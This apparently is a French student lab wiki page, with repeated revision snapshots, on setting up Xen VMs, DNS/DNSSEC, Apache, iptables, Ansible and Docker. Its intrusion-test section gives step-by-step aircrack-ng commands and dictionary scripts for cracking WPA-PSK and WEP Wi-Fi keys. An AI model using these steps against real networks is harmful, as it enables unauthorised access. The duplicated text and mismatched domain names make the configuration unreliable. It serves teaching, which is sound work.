IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne:
Sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On le lance:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-10T09:24:55Z

Zbriois : /* Installation de docker */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne:
[[Fichier:result_jeu_docker.png|600px|center]]
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On le lance:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-10T09:23:58Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

